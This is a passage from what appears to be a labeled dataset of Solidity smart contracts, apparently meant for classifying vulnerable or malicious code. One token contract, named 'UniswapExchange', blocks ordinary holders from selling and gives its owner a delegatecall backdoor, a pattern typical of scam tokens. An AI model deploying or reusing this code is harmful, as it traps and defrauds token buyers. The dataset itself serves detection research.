GameEnded(thisGame.player1, thisGame.player2, gameId, thisGame.value, thisGame.result, ResultType.StraightUp);
thisGame.player2.transfer((thisGame.value*2) - fee*2);
return true;
}
function claimGame(uint gameId) public notPaused returns (bool success) {
Game storage thisGame = games[gameId];
require(thisGame.state == State.Joined);
require(thisGame.player2 == msg.sender);
require(thisGame.gameStart + revealTime < now);
uint fee = (thisGame.value) / feeDivisor;
balances[owner1] += fee*2;
totalLost[thisGame.player1] += thisGame.value;
totalWon[thisGame.player2] += thisGame.value - fee*2;
thisGame.state = State.Ended;
thisGame.result = Result.Forfeit;
GameEnded(thisGame.player1, thisGame.player2, gameId, thisGame.value, thisGame.result, ResultType.StraightUp);
thisGame.player2.transfer((thisGame.value*2) - fee*2);
return true;
}
function donate() public payable returns (bool success) {
require(msg.value != 0);
balances[owner1] += msg.value;
return true;
}
function deposit() public payable returns (bool success) {
require(msg.value != 0);
balances[msg.sender] += msg.value;
Deposit(msg.sender, msg.value);
return true;
}
function withdraw() public returns (bool success) {
uint amount = balances[msg.sender];
if (amount == 0) return false;
balances[msg.sender] = 0;
msg.sender.transfer(amount);
Withdraw(msg.sender, amount);
return true;
}
function pause(bool setpause) public onlyOwner {
paused = setpause;
}
function expire(bool setexpire) public onlyOwner {
expired = setexpire;
}
function setOwner(address newOwner) public {
require(msg.sender == owner1);
owner1 = newOwner;
}
} | 1 | 5,124 |
pragma solidity ^0.8.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC721 {
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
}
interface IVaultConfig {
function fee() external view returns (uint256);
function gasLimit() external view returns (uint256);
function ownerReward() external view returns (uint256);
}
abstract contract Context {
function _msgSender() internal view returns (address) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
function _msgValue() internal view returns (uint256) {
return msg.value;
}
}
abstract contract Ownable is Context {
address private _owner;
address private _newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor (address owner_) {
_owner = owner_;
emit OwnershipTransferred(address(0), owner_);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function acceptOwnership() public {
require(_msgSender() == _newOwner, "Ownable: only new owner can accept ownership");
address oldOwner = _owner;
_owner = _newOwner;
_newOwner = address(0);
emit OwnershipTransferred(oldOwner, _owner);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_newOwner = newOwner;
}
}
abstract contract Payable {
event Deposited(address indexed sender, uint256 value);
fallback() external payable {
if(msg.value > 0) {
emit Deposited(msg.sender, msg.value);
}
}
receive() external payable {
if(msg.value > 0) {
emit Deposited(msg.sender, msg.value);
}
}
}
library MerkleProof {
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash == root;
}
}
contract Coin98Vault is Ownable, Payable {
address private _factory;
address[] private _admins;
mapping(address => bool) private _adminStatuses;
mapping(uint256 => EventData) private _eventDatas;
mapping(uint256 => mapping(uint256 => bool)) private _eventRedemptions;
constructor(address factory_, address owner_) Ownable(owner_) {
_factory = factory_;
}
struct EventData {
uint256 timestamp;
bytes32 merkleRoot;
address receivingToken;
address sendingToken;
uint8 isActive;
}
event AdminAdded(address indexed admin);
event AdminRemoved(address indexed admin);
event EventCreated(uint256 eventId, EventData eventData);
event EventUpdated(uint256 eventId, uint8 isActive);
event Redeemed(uint256 eventId, uint256 index, address indexed recipient, address indexed receivingToken, uint256 receivingTokenAmount, address indexed sendingToken, uint256 sendingTokenAmount);
event Withdrawn(address indexed owner, address indexed recipient, address indexed token, uint256 value);
function _setRedemption(uint256 eventId_, uint256 index_) private {
_eventRedemptions[eventId_][index_] = true;
}
modifier onlyAdmin() {
require(owner() == _msgSender() || _adminStatuses[_msgSender()], "Ownable: caller is not an admin");
_;
}
function admins() public view returns (address[] memory) {
return _admins;
}
function eventInfo(uint256 eventId_) public view returns (EventData memory) {
return _eventDatas[eventId_];
}
function factory() public view returns (address) {
return _factory;
}
function isRedeemed(uint256 eventId_, uint256 index_) public view returns (bool) {
return _eventRedemptions[eventId_][index_];
}
function redeem(uint256 eventId_, uint256 index_, address recipient_, uint256 receivingAmount_, uint256 sendingAmount_, bytes32[] calldata proofs) public payable {
uint256 fee = IVaultConfig(_factory).fee();
uint256 gasLimit = IVaultConfig(_factory).gasLimit();
if(fee > 0) {
require(_msgValue() == fee, "C98Vault: Invalid fee");
}
EventData storage eventData = _eventDatas[eventId_];
require(eventData.isActive > 0, "C98Vault: Invalid event");
require(eventData.timestamp <= block.timestamp, "C98Vault: Schedule locked");
require(recipient_ != address(0), "C98Vault: Invalid schedule");
bytes32 node = keccak256(abi.encodePacked(index_, recipient_, receivingAmount_, sendingAmount_));
require(MerkleProof.verify(proofs, eventData.merkleRoot, node), "C98Vault: Invalid proof");
require(!isRedeemed(eventId_, index_), "C98Vault: Redeemed");
uint256 availableAmount;
if(eventData.receivingToken == address(0)) {
availableAmount = address(this).balance;
} else {
availableAmount = IERC20(eventData.receivingToken).balanceOf(address(this));
}
require(receivingAmount_ <= availableAmount, "C98Vault: Insufficient token");
_setRedemption(eventId_, index_);
if(fee > 0) {
uint256 reward = IVaultConfig(_factory).ownerReward();
uint256 finalFee = fee - reward;
(bool success, bytes memory data) = _factory.call{value:finalFee, gas:gasLimit}("");
require(success, "C98Vault: Unable to charge fee");
}
if(sendingAmount_ > 0) {
IERC20(eventData.sendingToken).transferFrom(_msgSender(), address(this), sendingAmount_);
}
if(eventData.receivingToken == address(0)) {
recipient_.call{value:receivingAmount_, gas:gasLimit}("");
} else {
IERC20(eventData.receivingToken).transfer(recipient_, receivingAmount_);
}
emit Redeemed(eventId_, index_, recipient_, eventData.receivingToken, receivingAmount_, eventData.sendingToken, sendingAmount_);
}
function withdraw(address token_, address destination_, uint256 amount_) public onlyAdmin {
require(destination_ != address(0), "C98Vault: Destination is zero address");
uint256 availableAmount;
if(token_ == address(0)) {
availableAmount = address(this).balance;
} else {
availableAmount = IERC20(token_).balanceOf(address(this));
}
require(amount_ <= availableAmount, "C98Vault: Not enough balance");
uint256 gasLimit = IVaultConfig(_factory).gasLimit();
if(token_ == address(0)) {
destination_.call{value:amount_, gas:gasLimit}("");
} else {
IERC20(token_).transfer(destination_, amount_);
}
emit Withdrawn(_msgSender(), destination_, token_, amount_);
}
function withdrawNft(address token_, address destination_, uint256 tokenId_) public onlyAdmin {
require(destination_ != address(0), "C98Vault: destination is zero address");
IERC721(token_).transferFrom(address(this), destination_, tokenId_);
emit Withdrawn(_msgSender(), destination_, token_, 1);
}
function createEvent(uint256 eventId_, uint256 timestamp_, bytes32 merkleRoot_, address receivingToken_, address sendingToken_) public onlyAdmin {
require(_eventDatas[eventId_].timestamp == 0, "C98Vault: Event existed");
require(timestamp_ != 0, "C98Vault: Invalid timestamp");
_eventDatas[eventId_].timestamp = timestamp_;
_eventDatas[eventId_].merkleRoot = merkleRoot_;
_eventDatas[eventId_].receivingToken = receivingToken_;
_eventDatas[eventId_].sendingToken = sendingToken_;
_eventDatas[eventId_].isActive = 1;
emit EventCreated(eventId_, _eventDatas[eventId_]);
}
function setEventStatus(uint256 eventId_, uint8 isActive_) public onlyAdmin {
require(_eventDatas[eventId_].timestamp != 0, "C98Vault: Invalid event");
_eventDatas[eventId_].isActive = isActive_;
emit EventUpdated(eventId_, isActive_);
}
function setAdmins(address[] memory nAdmins_, bool[] memory nStatuses_) public onlyOwner {
require(nAdmins_.length != 0, "C98Vault: Empty arguments");
require(nStatuses_.length != 0, "C98Vault: Empty arguments");
require(nAdmins_.length == nStatuses_.length, "C98Vault: Invalid arguments");
uint256 i;
for(i = 0; i < nAdmins_.length; i++) {
address nAdmin = nAdmins_[i];
if(nStatuses_[i]) {
if(!_adminStatuses[nAdmin]) {
_admins.push(nAdmin);
_adminStatuses[nAdmin] = nStatuses_[i];
emit AdminAdded(nAdmin);
}
} else {
uint256 j;
for(j = 0; j < _admins.length; j++) {
if(_admins[j] == nAdmin) {
_admins[j] = _admins[_admins.length - 1];
_admins.pop();
delete _adminStatuses[nAdmin];
emit AdminRemoved(nAdmin);
break;
}
}
}
}
}
}
contract Coin98VaultFactory is Ownable, Payable, IVaultConfig {
uint256 private _fee;
uint256 private _gasLimit;
uint256 private _ownerReward;
address[] private _vaults;
constructor () Ownable(_msgSender()) {
_gasLimit = 9000;
}
event Created(address indexed vault);
event FeeUpdated(uint256 fee);
event OwnerRewardUpdated(uint256 fee);
event Withdrawn(address indexed owner, address indexed recipient, address indexed token, uint256 value);
function fee() override external view returns (uint256) {
return _fee;
}
function gasLimit() override external view returns (uint256) {
return _gasLimit;
}
function ownerReward() override external view returns (uint256) {
return _ownerReward;
}
function vaults() external view returns (address[] memory) {
return _vaults;
}
function createVault(address owner_) external returns (Coin98Vault vault) {
vault = new Coin98Vault(address(this), owner_);
_vaults.push(address(vault));
emit Created(address(vault));
}
function setGasLimit(uint256 limit_) public onlyOwner {
_gasLimit = limit_;
}
function setFee(uint256 fee_, uint256 reward_) public onlyOwner {
require(fee_ >= reward_, "C98Vault: Invalid reward amount");
_fee = fee_;
_ownerReward = reward_;
emit FeeUpdated(fee_);
emit OwnerRewardUpdated(reward_);
}
function withdraw(address token_, address destination_, uint256 amount_) public onlyOwner {
require(destination_ != address(0), "C98Vault: Destination is zero address");
uint256 availableAmount;
if(token_ == address(0)) {
availableAmount = address(this).balance;
} else {
availableAmount = IERC20(token_).balanceOf(address(this));
}
require(amount_ <= availableAmount, "C98Vault: Not enough balance");
if(token_ == address(0)) {
destination_.call{value:amount_, gas:_gasLimit}("");
} else {
IERC20(token_).transfer(destination_, amount_);
}
emit Withdrawn(_msgSender(), destination_, token_, amount_);
}
function withdrawNft(address token_, address destination_, uint256 tokenId_) public onlyOwner {
require(destination_ != address(0), "C98Vault: destination is zero address");
IERC721(token_).transferFrom(address(this), destination_, tokenId_);
emit Withdrawn(_msgSender(), destination_, token_, 1);
}
} | 0 | 174 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract HolyCoin is StandardToken, SafeMath {
string public constant name = "HolyCoin";
string public constant symbol = "HOLY";
uint256 public constant decimals = 18;
string public version = "1.0";
address public ethFundDeposit;
address public holyFoundersFundDeposit;
address public holyBountyFundDeposit;
bool public isFinalized;
uint256 public fundingStartUnixTimestamp;
uint256 public fundingEndUnixTimestamp;
uint256 public constant foundersFund = 2400 * (10**3) * 10**decimals;
uint256 public constant bountyFund = 600 * (10**3) * 10**decimals;
uint256 public constant conversionRate = 900;
function tokenRate() constant returns(uint) {
return conversionRate;
}
uint256 public constant tokenCreationCap = 12 * (10**6) * 10**decimals;
event CreateHOLY(address indexed _to, uint256 _value);
function HolyCoin(
address _ethFundDeposit,
address _holyFoundersFundDeposit,
address _holyBountyFundDeposit,
uint256 _fundingStartUnixTimestamp,
uint256 _fundingEndUnixTimestamp)
{
isFinalized = false;
ethFundDeposit = _ethFundDeposit;
holyFoundersFundDeposit = _holyFoundersFundDeposit;
holyBountyFundDeposit = _holyBountyFundDeposit;
fundingStartUnixTimestamp = _fundingStartUnixTimestamp;
fundingEndUnixTimestamp = _fundingEndUnixTimestamp;
totalSupply = foundersFund + bountyFund;
balances[holyFoundersFundDeposit] = foundersFund;
balances[holyBountyFundDeposit] = bountyFund;
CreateHOLY(holyFoundersFundDeposit, foundersFund);
CreateHOLY(holyBountyFundDeposit, bountyFund);
}
function makeTokens() payable {
if (isFinalized) throw;
if (block.timestamp < fundingStartUnixTimestamp) throw;
if (block.timestamp > fundingEndUnixTimestamp) throw;
if (msg.value < 100 finney || msg.value > 100 ether) throw;
uint256 tokens = safeMult(msg.value, tokenRate());
uint256 checkedSupply = safeAdd(totalSupply, tokens);
if (tokenCreationCap < checkedSupply) throw;
totalSupply = checkedSupply;
balances[msg.sender] += tokens;
CreateHOLY(msg.sender, tokens);
}
function() payable {
makeTokens();
}
function finalize() external {
if (isFinalized) throw;
if (msg.sender != ethFundDeposit) throw;
if(block.timestamp <= fundingEndUnixTimestamp && totalSupply != tokenCreationCap) throw;
isFinalized = true;
if(!ethFundDeposit.send(this.balance)) throw;
}
} | 1 | 5,424 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,705 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract CCCToken {
string public name = 'Crypto Crash Course';
string public symbol = 'CCC';
uint8 public decimals = 18;
uint256 public totalSupply = 1000000000000000000000000000;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function CCCToken() public {
balanceOf[msg.sender] = totalSupply;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 3,697 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract JCLYLong is Pausable {
using SafeMath for *;
event KeyPurchase(address indexed purchaser, uint256 eth, uint256 amount);
event LeekStealOn();
address private constant WALLET_ETH_COM1 = 0x2509CF8921b95bef38DEb80fBc420Ef2bbc53ce3;
address private constant WALLET_ETH_COM2 = 0x18d9fc8e3b65124744553d642989e3ba9e41a95a;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 constant private ethLimiterRange1_ = 1e20;
uint256 constant private ethLimiterRange2_ = 5e20;
uint256 constant private ethLimiter1_ = 2e18;
uint256 constant private ethLimiter2_ = 7e18;
uint256 constant private whitelistRange_ = 3 days;
uint256 constant private priceStage1_ = 500e18;
uint256 constant private priceStage2_ = 1000e18;
uint256 constant private priceStage3_ = 2000e18;
uint256 constant private priceStage4_ = 4000e18;
uint256 constant private priceStage5_ = 8000e18;
uint256 constant private priceStage6_ = 16000e18;
uint256 constant private priceStage7_ = 32000e18;
uint256 constant private priceStage8_ = 64000e18;
uint256 constant private priceStage9_ = 128000e18;
uint256 constant private priceStage10_ = 256000e18;
uint256 constant private priceStage11_ = 512000e18;
uint256 constant private priceStage12_ = 1024000e18;
uint256 constant private guPhrase1_ = 5 days;
uint256 constant private guPhrase2_ = 7 days;
uint256 constant private guPhrase3_ = 9 days;
uint256 constant private guPhrase4_ = 11 days;
uint256 constant private guPhrase5_ = 13 days;
uint256 constant private guPhrase6_ = 15 days;
uint256 constant private guPhrase7_ = 17 days;
uint256 constant private guPhrase8_ = 19 days;
uint256 constant private guPhrase9_ = 21 days;
uint256 constant private guPhrase10_ = 23 days;
uint256 public contractStartDate_;
uint256 public allMaskGu_;
uint256 public allGuGiven_;
mapping (uint256 => uint256) public playOrders_;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public leekStealPot_;
uint256 public leekStealTracker_ = 0;
uint256 public leekStealToday_;
bool public leekStealOn_;
mapping (uint256 => uint256) public dayStealTime_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (uint256 => Datasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => Datasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (uint256 => Datasets.PlayerPhrases)) public plyrPhas_;
uint256 public rID_;
mapping (uint256 => Datasets.Round) public round_;
uint256 public phID_;
mapping (uint256 => Datasets.Phrase) public phrase_;
mapping(address => bool) public whitelisted_Prebuy;
constructor()
public
{
pIDxAddr_[WALLET_ETH_COM1] = 1;
plyr_[1].addr = WALLET_ETH_COM1;
pIDxAddr_[WALLET_ETH_COM2] = 2;
plyr_[2].addr = WALLET_ETH_COM2;
pID_ = 2;
}
modifier isActivated() {
require(activated_ == true);
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pID_++;
pIDxAddr_[msg.sender] = pID_;
plyr_[pID_].addr = msg.sender;
_pID = pID_;
}
buyCore(_pID, plyr_[_pID].laff);
}
function buyXid(uint256 _affID)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pID_++;
pIDxAddr_[msg.sender] = pID_;
plyr_[pID_].addr = msg.sender;
_pID = pID_;
}
if (_affID == 0 || _affID == _pID || _affID > pID_)
{
_affID = plyr_[_pID].laff;
}
else if (_affID != plyr_[_pID].laff)
{
if (plyr_[_pID].laff == 0)
plyr_[_pID].laff = _affID;
else
_affID = plyr_[_pID].laff;
}
buyCore(_pID, _affID);
}
function reLoadXid()
isActivated()
isHuman()
public
{
uint256 _pID = pIDxAddr_[msg.sender];
require(_pID > 0);
reLoadCore(_pID, plyr_[_pID].laff);
}
function reLoadCore(uint256 _pID, uint256 _affID)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[rID_].strt + whitelistRange_) {
require(whitelisted_Prebuy[plyr_[_pID].addr] || whitelisted_Prebuy[plyr_[_affID].addr]);
}
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
uint256 _eth = withdrawEarnings(_pID, false);
plyr_[_pID].gen = 0;
core(_rID, _pID, _eth, _affID);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
endRound();
}
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
